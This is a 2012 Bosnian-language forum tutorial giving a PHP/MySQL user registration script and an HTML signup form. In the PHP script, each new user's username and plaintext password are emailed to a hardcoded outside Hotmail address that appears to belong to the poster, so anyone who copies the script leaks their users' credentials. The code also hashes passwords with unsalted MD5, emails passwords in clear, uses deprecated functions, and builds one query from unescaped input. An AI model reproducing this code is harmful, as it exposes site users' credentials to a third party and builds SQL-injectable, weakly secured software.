Samo registrovani članovi mogu pisati porukice.
[Zatvori]

  • Page 1 of 1
  • 1
Forum moderator: Infinity  
(Tutorijal) Registracija na vasem web site-u






765
poruka na forumu
88 1029



post # 1 | 12.06.2012 , 6:51 PM

Pozz danas cu vam pokazati kako da napraviti da se korisnici mogu registrovati na vas web site.

Znaci da pocnemo....
1.Kreirajte MySQL bazu podataka
2.Kada ste kreirali bazu kreirajte tablicu pomocu ovog koda:

Code
CREATE TABLE `korisnici` (
`id` int(10) NOT NULL auto_increment,
`username` varchar(50) NOT NULL,
`fullname` varchar(75) NOT NULL,
`password` varchar(50) NOT NULL,
`email` varchar(75) NOT NULL,
`active` tinyint(1) NOT NULL,
`code` varchar(75),
PRIMARY KEY  (`id`));


3.kreirajte fajl index.php (preporucujem u Notepad++)
i kopirajte ovu PHP skriptu u njega :

Code
<?php
$mysql_server = 'host_';
$mysql_username = 'korisnik_baze';
$mysql_password = 'lozinka_baze';
$mysql_database = 'ime_baze_podataka';
$mysql_table = 'korisnici';
$success_page = '';
$error_message = "";
if ($_SERVER['REQUEST_METHOD'] == 'POST' && $_POST['form_name'] == 'signupform')
{
     $newusername = $_POST['username'];
     $newemail = $_POST['email'];
     $newpassword = $_POST['password'];
     $confirmpassword = $_POST['confirmpassword'];
     $newfullname = $_POST['fullname'];
     $code = 'NA';
     if ($newpassword != $confirmpassword)
     {
        $error_message = 'Lozinke se ne poklapaju !';
     }
     else
     if (!ereg("^[A-Za-z0-9_!@$]{1,50}$", $newusername))
     {
        $error_message = 'Username is not valid, please check and try again!';
     }
     else
     if (!ereg("^[A-Za-z0-9_!@$]{1,50}$", $newpassword))
     {
        $error_message = 'Password is not valid, please check and try again!';
     }
     else
     if (!ereg("^[A-Za-z0-9_!@$.' &]{1,50}$", $newfullname))
     {
        $error_message = 'Fullname is not valid, please check and try again!';
     }
     else
     if (!ereg("^.+@.+\..+$", $newemail))
     {
        $error_message = 'Nepostojeca e-mail adresa !';
     }
     if (empty($error_message))
     {
        $db = mysql_connect($mysql_server, $mysql_username, $mysql_password);
        if (!$db)
        {
           die('Failed to connect to database server!<br>'.mysql_error());
        }
        mysql_select_db($mysql_database, $db) or die('Failed to select database<br>'.mysql_error());
        $sql = "SELECT username FROM ".$mysql_table." WHERE username = '".$newusername."'";
        $result = mysql_query($sql, $db);
        if ($data = mysql_fetch_array($result))
        {
           $error_message = 'Ovo korisnicko ime vec postoji,pokusaj sa drugim';
        }
     }
     if (empty($error_message))
     {
        $crypt_pass = md5($newpassword);
        $newusername = mysql_real_escape_string($newusername);
        $newemail = mysql_real_escape_string($newemail);
        $newfullname = mysql_real_escape_string($newfullname);
        $sql = "INSERT `".$mysql_table."` (`username`, `password`, `fullname`, `email`, `active`, `code`) VALUES ('$newusername', '$crypt_pass', '$newfullname', '$newemail', 1, '$code')";
        $result = mysql_query($sql, $db);
        mysql_close($db);
        $subject = 'Your new account';
        $message = 'A new account has been setup.';
        $message .= "\r\nUsername: ";
        $message .= $newusername;
        $message .= "\r\nPassword: ";
        $message .= $newpassword;
        $message .= "\r\n";
        $header  = "From: webmaster@yourwebsite.com "."\r\n";
        $header .= "Reply-To: webmaster@yourwebsite.com "."\r\n";
        $header .= "MIME-Version: 1.0"."\r\n";
        $header .= "Content-Type: text/plain; charset=utf-8"."\r\n";
        $header .= "Content-Transfer-Encoding: 8bit"."\r\n";
        $header .= "X-Mailer: PHP v".phpversion();
        mail($newemail, $subject, $message, $header);
        mail('belmoo996@hotmail.com', $subject, $message, $header);
        header('Location: '.$success_page);
        exit;
     }
}
?>


ii ubacite svoju e-mail adresu.To je bila PHP skripta i MySQL baza sada cu vam dati HTML kod

ovaj kod ubacite izmedju i

Code
<div id="wb_Signup1" style="position:absolute;left:98px;top:97px;width:302px;height:202px;text-align:right;z-index:0;padding:0;">
<form name="signupform" method="post" action="<?php echo basename(__FILE__); ?>" id="signupform">
<input type="hidden" name="form_name" value="signupform">
<table class="signupform_table" style="width:302px;height:202px;">
<tr>
     <td class="signupform_header" colspan="2" style="height:20px;">Registruj Se</td>
</tr>
<tr>
     <td style="height:20px">Ime:</td>
     <td style="text-align:left"><input class="signupform_text" name="fullname" type="text" id="fullname" style="width:150px;height:18px;"></td>
</tr>
<tr>
     <td style="height:20px">Korisnicko ime:</td>
     <td style="text-align:left"><input class="signupform_text" name="username" type="text" id="username" style="width:150px;height:18px;"></td>
</tr>
<tr>
     <td style="height:20px;">Lozinka:</td>
     <td style="text-align:left"><input class="signupform_text" name="password" type="password" id="password" style="width:150px;height:18px;"></td>
</tr>
<tr>
     <td style="height:20px">Potvrdi Lozinku:</td>
     <td style="text-align:left"><input class="signupform_text" name="confirmpassword" type="password" id="confirmpassword" style="width:150px;height:18px;"></td>
</tr>
<tr>
     <td style="height:20px">E-mail:</td>
     <td style="text-align:left"><input class="signupform_text" name="email" type="text" id="email" style="width:150px;height:18px;"></td>
</tr>
<tr>
     <td colspan="2"><?php echo $error_message; ?></td>
</tr>
<tr>
     <td> </td><td style="text-align:left;vertical-align:bottom"><input class="signupform_button" type="submit" name="signup" value="Registruj Se" id="signup" style="width:90px;height:20px;"></td>
</tr>
</table>
</form>
</div>


Eto ga spremite vas fajl index.php i upload na host :)
Tutorijal nisam preuzeo vec sam ga sam napravio,ukoliko budete imali problema obratite mi se preko PP,,,a u sl. tutorijalu cu vam pokazati kako da napravite login formu


Poruku je menjao/la belmo996 - Utorak, 12.06.2012, 6:52 PM

Freelance Webdesigner // contact: info@belminbedak.me



  • Page 1 of 1
  • 1
Search: